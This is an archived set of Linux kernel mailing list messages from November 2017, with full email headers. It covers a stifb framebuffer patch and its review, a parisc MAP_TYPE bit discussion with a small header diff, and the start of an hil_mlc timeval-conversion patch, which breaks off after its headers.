> except parisc. Can we steal an extra bit for MAP_TYPE from somewhere
> else on parisc?

It looks like 0x08 should work.  But I don't have an HPUX machine around
to check that HP didn't use that bit for something else.

It'd probably help to cc the linux-parisc mailing list when asking
questions about PARISC, eh?

From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.video.dri.devel,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: [PATCH] video/fbdev/stifb: Delete an error message for a failed
 memory allocation in stifb_init_fb()
Date: Fri, 24 Nov 2017 22:28:12 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1511558906 7171 195.159.176.226 (24 Nov 2017 21:28:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 24 Nov 2017 21:28:26 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: LKML <linux-kernel@vger.kernel.org>,
        kernel-janitors@vger.kernel.org
To: dri-devel@lists.freedesktop.org, linux-fbdev@vger.kernel.org,
        linux-parisc@vger.kernel.org,
        Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
        Helge Deller <deller@gmx.de>,
        "James E. J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 24 22:28:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eILWG-00033l-Lb
	for glpp-linux-parisc@m.gmane.org; Fri, 24 Nov 2017 22:28:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753784AbdKXV21 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 24 Nov 2017 16:28:27 -0500
Original-Received: from mout.web.de ([212.227.15.14]:60887 "EHLO mout.web.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753730AbdKXV20 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 24 Nov 2017 16:28:26 -0500
Original-Received: from [192.168.1.3] ([78.53.250.25]) by smtp.web.de (mrweb003
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0M5fxo-1f2TxO0oP2-00xcMe; Fri, 24
 Nov 2017 22:28:14 +0100
Content-Language: en-GB
X-Provags-ID: V03:K0:0oItc9RwMYqqO5ICuKqJlnb8NqwQQkoqKIEPSdgRbLGZk2H5pMy
 0ok5Ts9l1E7Jjmz3hgl0EcmGvZTbkt72EaiJzQR92ztodVhrJ7BbJyDuDLVbkQ1v9aKAKwq
 +TTmKyNCiNKgve/ih6+FUZHkntdxON/TAzW+NL2FPQhYBuGQHrbFA21tvWqW9WJZBLDg3Un
 TlPIj86epuBNuXd/x2W6A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6zNfQIYB0zw=:grUiDRbDUwbrCaolN17pXK
 nh5oCpK2rBwrgYjOmPYqJrQd2QicFCYZXIdaEGhEhg2nfbTM0Yw3Utb0M1MdBAHdk4h+Zj7GQ
 cnPX4DGAwvWZmMG64gx20BNHI+krGSj2mwfx9DNk8CzvjEt8uubmwFVIcCLoj9HfymLZSmAtO
 /3mLPXt9L/bIm+V0yq5avz69SnqzSgFsbejdDMvjTpbJjDeBi9d1ZbqS1+m+yr7rC6zH2XkiT
 rxPbIbLIdjHWbZrOfN0/g1+4ASXzvVfW0qUjRJ7OWU3v1wlul6QjGbZtQQITBE5KYUnlLbcb5
 woN23kgv2wtm+j/0V2YDeZr71K3iqqZBw2T8hKnEIEuWwkdgcNkMb9KLSfXG6h3+y2J/UCXN0
 NHKWfCymJeoCbInrXays1XXZzV4t0rro8bySTl66KYNJXlaLdFLwEuYzyKsHE7Pqk4FZCNPrv
 4FJH4QWSFE4ldGEeRivYvfObA3yT7RF7M/Z+Lu5l5NeO7W8cSCjDCwauQykLy+WwJLYXz0M+w
 sPpgnP1uYoXyOfIXwp5674iblXxlIQ1EuzYk3UCDyaHNcO7uTStSJq6/qrFcXqs056wkXR01n
 2HvdeuIgzLmwtYdot/NnwXJQnvZvwXVYDy0gG8d8dMMi9dboHujeuJU90J5RZUL1BfYjlAQdr
 E+5mZH96kGbTAr7mIktJyWWmtMMMq97cODYJKCBSBW0NHcUq2XUqbEpfGZEKwlTVWshfZlTyU
 1VcJVLfmRPQqgITqrmvytSVhUrDAFPzGu6qxDkvyTzYOHxmdz80zkt/vFo/I59rEDy2KRmde 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28007 gmane.comp.video.dri.devel:205000 gmane.linux.kernel:2624902 gmane.linux.kernel.janitors:49479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28007>

From: Markus Elfring <elfring@users.sourceforge.net>
Date: Fri, 24 Nov 2017 22:22:06 +0100

Omit an extra message for a memory allocation failure in this function.

This issue was detected by using the Coccinelle software.

Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
---
 drivers/video/fbdev/stifb.c | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index 6ded5c198998..fe217a2f7d21 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
@@ -1126,10 +1126,8 @@ static int __init stifb_init_fb(struct sti_struct *sti, int bpp_pref)
 	int bpp, xres, yres;
 
 	fb = kzalloc(sizeof(*fb), GFP_ATOMIC);
-	if (!fb) {
-		printk(KERN_ERR "stifb: Could not allocate stifb structure\n");
+	if (!fb)
 		return -ENODEV;
-	}
 	
 	info = &fb->info;
 
-- 
2.15.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH] video/fbdev/stifb: Delete an error message for a failed memory allocation in stifb_init_fb()
Date: Fri, 24 Nov 2017 22:30:34 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <25624997.nONnEdNj0s@daneel.sf-tec.de>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1690480.eUU9do5mRG"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1511559455 13956 195.159.176.226 (24 Nov 2017 21:37:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 24 Nov 2017 21:37:35 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.14.0-1.gab9e909-default; KDE/4.14.25; x86_64; ; )
Cc: dri-devel@lists.freedesktop.org, linux-fbdev@vger.kernel.org,
        linux-parisc@vger.kernel.org,
        Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
        Helge Deller <deller@gmx.de>,
        "James E. J. Bottomley" <jejb@parisc-linux.org>,
        LKML <linux-kernel@vger.kernel.org>,
        kernel-janitors@vger.kernel.org
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Nov 24 22:37:31 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eILf7-0003FX-Vi
	for glk-linux-kernel-3@m.gmane.org; Fri, 24 Nov 2017 22:37:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753882AbdKXVh3 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 24 Nov 2017 16:37:29 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:49613 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753758AbdKXVh1 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 24 Nov 2017 16:37:27 -0500
Original-Received: (qmail 25118 invoked from network); 24 Nov 2017 21:30:44 -0000
Original-Received: from dslb-188-096-112-162.188.096.pools.vodafone-ip.de ([::ffff:188.96.112.162]:44454 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <elfring@users.sourceforge.net>; Fri, 24 Nov 2017 22:30:44 +0100
In-Reply-To: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2624906 gmane.comp.video.dri.devel:205001 gmane.linux.ports.parisc:28008 gmane.linux.kernel.janitors:49480
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2624906>

--nextPart1690480.eUU9do5mRG
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Markus Elfring wrote:
> From: Markus Elfring <elfring@users.sourceforge.net>
> Date: Fri, 24 Nov 2017 22:22:06 +0100
> 
> Omit an extra message for a memory allocation failure in this function.
> 
> This issue was detected by using the Coccinelle software.
> 
> Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
> ---
>  drivers/video/fbdev/stifb.c | 4 +---
>  1 file changed, 1 insertion(+), 3 deletions(-)
> 
> diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
> index 6ded5c198998..fe217a2f7d21 100644
> --- a/drivers/video/fbdev/stifb.c
> +++ b/drivers/video/fbdev/stifb.c
> @@ -1126,10 +1126,8 @@ static int __init stifb_init_fb(struct sti_struct
> *sti, int bpp_pref) int bpp, xres, yres;
> 
>  	fb = kzalloc(sizeof(*fb), GFP_ATOMIC);
> -	if (!fb) {
> -		printk(KERN_ERR "stifb: Could not allocate stifb structure\n");
> +	if (!fb)
>  		return -ENODEV;
> -	}
> 
>  	info = &fb->info;

This should be -ENOMEM.

Eike
--nextPart1690480.eUU9do5mRG
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAloYj38ACgkQXKSJPmm5/E5cfQCgoFeHSeRxr9yoOVPpNYvJLiXJ
1NkAoJb/M52HEUrAxPl/xOf55aOpDGdq
=roWr
-----END PGP SIGNATURE-----

--nextPart1690480.eUU9do5mRG--



From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.file-systems,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.comp.file-systems.ext4,gmane.linux.ports.parisc
Subject: Re: [PATCH 01/18] mm: introduce MAP_SHARED_VALIDATE, a mechanism to
 safely define new mmap flags
Date: Sat, 25 Nov 2017 19:45:21 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <09f54d38-7cb5-343d-a017-2d71a793d05c@gmx.de>
References: <20171101153648.30166-1-jack@suse.cz>
 <20171101153648.30166-2-jack@suse.cz>
 <638b3b80-5cb9-97c2-5055-fef3a1ec25b9@suse.cz>
 <CAPcyv4gGRHWc6AH5Enb7njtmqHgd=g+0-mYMdd5wWjJMW0+d7g@mail.gmail.com>
 <20171122195318.GA29485@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1511635538 18596 195.159.176.226 (25 Nov 2017 18:45:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 25 Nov 2017 18:45:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Vlastimil Babka <vbabka@suse.cz>, Jan Kara <jack@suse.cz>,
 Ross Zwisler <ross.zwisler@linux.intel.com>,
 Christoph Hellwig <hch@infradead.org>,
 linux-fsdevel <linux-fsdevel@vger.kernel.org>,
 "linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
 Linux MM <linux-mm@kvack.org>, Linux API <linux-api@vger.kernel.org>,
 linux-ext4 <linux-ext4@vger.kernel.org>,
 linux-xfs <linux-xfs@vger.kernel.org>,
 "Darrick J . Wong" <darrick.wong@oracle.com>, Arnd Bergmann <arnd@arndb.de>,
 Andy Lutomirski <luto@kernel.org>, Andrew Morton
 <akpm@linux-foundation.org>, Michal Hocko <mhocko@kernel.org>,
 Kees Cook <keescook@chromium.org>, Florian Weimer <fweimer@redhat.com>,
 John Hubbard <jhubbard@nvidia.com>,
 "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
 linux-parisc@vger.kernel.org
To: Matthew Wilcox <willy@infradead.org>,
 Dan Williams <dan.j.williams@intel.com>
Original-X-From: owner-linux-mm@kvack.org Sat Nov 25 19:45:30 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1eIfSD-0004Di-Fc
	for glkm-linux-mm-2@m.gmane.org; Sat, 25 Nov 2017 19:45:29 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id CC14C6B0033; Sat, 25 Nov 2017 13:45:35 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C4A8B6B0069; Sat, 25 Nov 2017 13:45:35 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B11436B0253; Sat, 25 Nov 2017 13:45:35 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 566F56B0033
	for <linux-mm@kvack.org>; Sat, 25 Nov 2017 13:45:35 -0500 (EST)
Original-Received: by mail-wr0-f198.google.com with SMTP id 11so13169840wrb.18
        for <linux-mm@kvack.org>; Sat, 25 Nov 2017 10:45:35 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:subject:to:cc
         :references:from:message-id:date:user-agent:mime-version:in-reply-to
         :content-language:content-transfer-encoding;
        bh=aEQVXFkOuq+IZHAGinq4zbzubZCTjgbK07tqI+IeM/4=;
        b=f9kCZ3bRNAZ6CkbjBsP7eDovSoCeKvMn2OCrW7Qk00EFN1lYXI31s7fx4lPV2d7e0z
         jNGqNleotCtdDX4S2PcruqYS/wnzbnAyG3DCSsgjp6dhinbrKvAkSOgBdDMRyvStTST9
         onLLAmqaSiRSX1w/15+bBkgN/iNRA+nCHobwt7vsgSdFKBZnQPE3ZCGGoVoWeRhEgmk4
         BzOJjtiqvrbxxpFDBbcDh9KNtqv2HCenHIu6uYruLIxs201sPSt8JOIrQbCd6cjzPuB3
         IZva2Oi8gBQoFAtIbqwUSY7HgbeMN/BvAuNYWToSiZDgt0qerXfr+yyevKb7OXBs9y3s
         etDQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of deller@gmx.de designates 212.227.17.21 as permitted sender) smtp.mailfrom=deller@gmx.de
X-Gm-Message-State: AJaThX53dAFjUmTN0GQMRi7mrwAymGmMol42762eGAZv9lT/DylmAqj+
	KKN4ihqO7LURDrm59gHHGQBrpPYXf9/ATfCMQ44N1OEmniigX5rKo/v9nSfmDX46X83wMX2xdd6
	VzpLSsGgVeaUCYAC79bbfdC/lVRxliHpl86s9RipLNhynvtrG8xrmJVsZBzbTOiH1aA==
X-Received: by 10.223.151.212 with SMTP id t20mr28955184wrb.2.1511635534736;
        Sat, 25 Nov 2017 10:45:34 -0800 (PST)
X-Google-Smtp-Source: AGs4zMZ5jPI955iKHmHZBxG2E8W9IJtTMPahO8N/jOXdYo+vZ2WKnd++0HabsGFXX+r5tgjjqCRc
X-Received: by 10.223.151.212 with SMTP id t20mr28955160wrb.2.1511635533826;
        Sat, 25 Nov 2017 10:45:33 -0800 (PST)
ARC-Seal: i=1; a=rsa-sha256; t=1511635533; cv=none;
        d=google.com; s=arc-20160816;
        b=ZJVWMyzVhKhOYTKDzNWuFS016Eq1bMMPqZOoe80G34r7Ma5ObkFOuc++i7UORiiyGR
         rBd4W0PieBToQ7rpBp708M3auXxtt6Wga/kb6PXbv9105nldZPk8HXy3MplIyFMrYLzF
         EK9d+kaK6RoO00EyOL8s7MoasIV+Qy+o9byPpxPSCExOjqn8XrJ6HB1n9v+QjVWN48eY
         InN8vQQVnkFEGt5JClDtfAY8EOlH8YObFxNmEKSuYuoZl2fkhTMae69/jhxVuT8Y44WP
         a7N/IbsevthHX7hj3MFf51ZspPLrYPF/jqBwnPpXjUW4TqhAV863PU2IlQePcLAOqJV6
         BcmA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=content-transfer-encoding:content-language:in-reply-to:mime-version
         :user-agent:date:message-id:from:references:cc:to:subject
         :arc-authentication-results;
        bh=aEQVXFkOuq+IZHAGinq4zbzubZCTjgbK07tqI+IeM/4=;
        b=fHmoTbW7sDtqxJEsEtgQl98D9YByUyLn/5Qdua9OEdg98GJPPJ91JH59DN9b+Eoloo
         NouetXu6rRCFQwtmA5F7KtqZvvSoC9FxKlFfC+0Yq2uYiVLAJYoGUI9XMSjqHFbFHCoT
         tAclW4/WPGPAJ0NqE3T57Sq8Dj5LNtrl503VgwAjPORUk7/UPJkWhFWQEFR4XhwsJYEl
         xh9lscjDicFqspm9LgyhURTL6VwZDUQ1T1BRecdxviFa5d2qU3hV4yTdTPaDOAIxRXMV
         d5eeapsxuAhALt29l0l5svq2TpB1umZGwqybMUpmTqRAfKAR1ocjiN9EPMWXb/Pa0YtJ
         dv/A==
ARC-Authentication-Results: i=1; mx.google.com;
       spf=pass (google.com: domain of deller@gmx.de designates 212.227.17.21 as permitted sender) smtp.mailfrom=deller@gmx.de
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.17.21])
        by mx.google.com with ESMTPS id 62si5624048wmi.26.2017.11.25.10.45.33
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 25 Nov 2017 10:45:33 -0800 (PST)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.17.21 as permitted sender) client-ip=212.227.17.21;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of deller@gmx.de designates 212.227.17.21 as permitted sender) smtp.mailfrom=deller@gmx.de
Original-Received: from [192.168.20.60] ([193.159.28.205]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0McluX-1ea3qZ34DZ-00HsPS; Sat, 25
 Nov 2017 19:45:26 +0100
In-Reply-To: <20171122195318.GA29485@bombadil.infradead.org>
Content-Language: en-US
X-Provags-ID: V03:K0:tkWWmB6IrM7FrRF3qjq8sQQ093jbIKi4NiIRwJ6AhTtDddNkdwC
 BqKkP2nvaqjMGZ8Xn/1eryEEGjGuwAbzk+rEzbmzA0rl2iwpehDlVZ9elXjHK74ojqIJd4r
 MKXN1ACvN2U8bCi6K4EpG31HJVISlLU6XeO2XM1s6f6xdQvZ81Fro7Za/48o2aL9u2sdyh/
 AibyzP44JwimjLnIt13SQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:diZlIKH1VRU=:vAx4M99NBcM1SXXpwdtMh0
 Pq6H1Ei1XpHzw2gnoG9cFNvtJ672kBSmtKIWOvFiNfzwzIFS+7iCPnsm742/gCWExywsIkRc5
 5LFLZi8LUPnLYD2Wilr19FgC8LT5u3hVmIl+7AoI3IAKRbuT7/G/gxfH2PWfqbMWYoVw3pNAI
 I1pGFJJ/JX12kAJGeI/hkszEsMmKlnmBax07tcjw9krvmYTbiVQumypICWF7uahdgWdFaPaFP
 JyORdqLpFqgzPunnZ6W1rqrv3VSEfIHGe8FW2vL0Iq0BcGOmGrIuLYzxrNpxrdpGMfGe6U2at
 fypVhq8skouRDIoAIgzKQnOAxQdldJo4tW0HMhjrRc+7fiURzl0cwQ2/XFnBPkYYqF040KD/i
 FtpOsLaNpypTmUK9WQGSUUBYSfFCByqIiJcKhsRWBY4TIBv8OupN6O5KuaPCNFGOhxprYunII
 37+yNxqrdgLuzBiKv8cHee5d8IvXIBqJAfpsWnFURKy7f4PPzvOWp1ZoSJyCrBqJsjaO+fFEg
 Oj/DW539Z9e5HDgAmOTvyn2Yz3wTTQLwO31ErdKOgHeQ83U06D6RG7HX61cJGORXKNeSZssCy
 U9oRQiDxVSQupnGTCxaJgPa71le+ep2JjNdUtutJPAR/jAAetKSX2hs6dNtzUWdjn6OqvzoOm
 n7SnIZLKuUHa6cSGMJaDC+vuSf4otIiG2zh4D2U5ANr0iNUCXHzeGJsbjm9i6ChCMMXt69oqx
 HkTcP8jU0QzH3DkYHjDtW2BUf4r0vAMe4v0K/xKtTwjn1oijIugwntKC5ZaY1TnSBx28ZcOD 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:184431 gmane.linux.file-systems:129493 gmane.linux.hardware.nvdimm:7361 gmane.linux.kernel.api:25930 gmane.comp.file-systems.ext4:59950 gmane.linux.ports.parisc:28009
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/184431>

On 22.11.2017 20:53, Matthew Wilcox wrote:
> On Wed, Nov 22, 2017 at 08:52:37AM -0800, Dan Williams wrote:
>> On Wed, Nov 22, 2017 at 4:02 AM, Vlastimil Babka <vbabka@suse.cz> wrote:
>>> On 11/01/2017 04:36 PM, Jan Kara wrote:
>>>> From: Dan Williams <dan.j.williams@intel.com>
>>>>
>>>> The mmap(2) syscall suffers from the ABI anti-pattern of not validating
>>>> unknown flags. However, proposals like MAP_SYNC need a mechanism to
>>>> define new behavior that is known to fail on older kernels without the
>>>> support. Define a new MAP_SHARED_VALIDATE flag pattern that is
>>>> guaranteed to fail on all legacy mmap implementations.
>>>
>>> So I'm trying to make sense of this together with Michal's attempt for
>>> MAP_FIXED_SAFE [1] where he has to introduce a completely new flag
>>> instead of flag modifier exactly for the reason of not validating
>>> unknown flags. And my conclusion is that because MAP_SHARED_VALIDATE
>>> implies MAP_SHARED and excludes MAP_PRIVATE, MAP_FIXED_SAFE as a
>>> modifier cannot build on top of this. Wouldn't thus it be really better
>>> long-term to introduce mmap3 at this point? ...
>>
>> We have room to define MAP_PRIVATE_VALIDATE in MAP_TYPE on every arch
>> except parisc. Can we steal an extra bit for MAP_TYPE from somewhere
>> else on parisc?
> 
> It looks like 0x08 should work.

I posted an RFC to the parisc mailing list for that:
https://patchwork.kernel.org/patch/9970553/

Basically this is (for parisc only):
-#define MAP_TYPE	0x03		/* Mask for type of mapping */
+#define MAP_TYPE	(MAP_SHARED|MAP_PRIVATE|MAP_RESRVD1|MAP_RESRVD2) /* Mask for type of mapping */
 #define MAP_FIXED	0x04		/* Interpret addr exactly */
+#define MAP_RESRVD1	0x08		/* reserved for 3rd bit of MAP_TYPE */
 #define MAP_ANONYMOUS	0x10		/* don't use a file */
+#define MAP_RESRVD2	0x20		/* reserved for 4th bit of MAP_TYPE */

> But I don't have an HPUX machine around
> to check that HP didn't use that bit for something else.

We completely dropped support for HPUX binaries, so it's not relvant any longer. 

> It'd probably help to cc the linux-parisc mailing list when asking
> questions about PARISC, eh?

Yes, please.

Helge

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.input,gmane.linux.kernel
Subject: [PATCH 1/3] Input: hil_mlc: convert timeval to time64_t
Date: Mon, 27 Nov 2017 12:22:57 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20171127112324.1917698-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1511781815 26150 195.159.176.226 (27 Nov 2017 11:23:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 11:23:35 +0000 (UTC)
Cc: linux-m68k@lists.linux-m68k.org,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        WEN Pingbo <pingbo.wen@linaro.org>,
        Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: linux-input@vger.kernel.org,
        Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 27 12:23:27 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eJHVW-0005Ym-TZ
	for glpp-linux-parisc@m.gmane.org; Mon, 27 Nov 2017 12:23:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751801AbdK0LXd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 27 Nov 2017 06:23:33 -0500
Original-Received: from mout.kundenserver.de ([217.72.192.74]:61553 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751770AbdK0LXc (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 27 Nov 2017 06:23:32 -0500
Original-Received: from wuerfel.lan ([109.193.157.232]) by mrelayeu.kundenserver.de
 (mreue103 [212.227.15.145]) with ESMTPA (Nemesis) id
 0MXWgY-1efhvq1MsI-00WWWl; Mon, 27 Nov 2017 12:23:28 +0100
X-Mailer: git-send-email 2.9.0
X-Provags-ID: V03:K0:cTWyhUrbfa4lfsRHdIRTlmvvGU0GnhsVk/S9gQiENx4DTUnfw2S
 3+9Gwyrgx2J9nXOLGp7Qd37hOKttrvSg6reOr8MxwE/uTVmJ7X8Lf9j5Qbk3qatFVvP+7i8
 r9JOWrKZ3G1lZdubwjs3gEKmAj/qpXbULBe6LIA8gp3ApMW6OgDUjjwMyuDAoiGIZP06c1e
 9pTySiZS3JbgMX7eRv6gg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FCtk+oI5CYs=:PHFRakD9+ZhEvi8YuMJ+BN
 hr+lOl/Mkd0ThebKYN7ivIxyokktXg2SArd0iwzrr25Q4uV52NVfpFRrpNChxsFYT6QhFpRE9
 63+zhPEDYuC6d9Ai49f21kxfL6TOsLcK7cqr5yH+mMoiPr7/U07SzeRuqZEqmx+Ohl007W7c0
 S7u9Vhf7cJYk5lo3tsS95buZZpyY1SNsSN+PPt1MIPcpXBfsrzY/fCxiJj/4KGW0QgnrGZTq5
 3mb2P0YDXP2w4bPIywIeKs94XaLVGGoKuMHnegZI6kljvKR9Ye2fzwuvVP/LIcYKhmBXBiRtW
 RjppTkjqETwgfHMAGRXusEcv4p5D9AQItF/m5BZf4lfHuUxNafVwwYiqkRZ9PAwmiIazSalvG
 KzBdgdlblMbsgaQYntfaD1ruI0wOD7htofnuN0lRcXQI9WQ8uJk4ko/x4JWpYrDUNMzTyptaQ
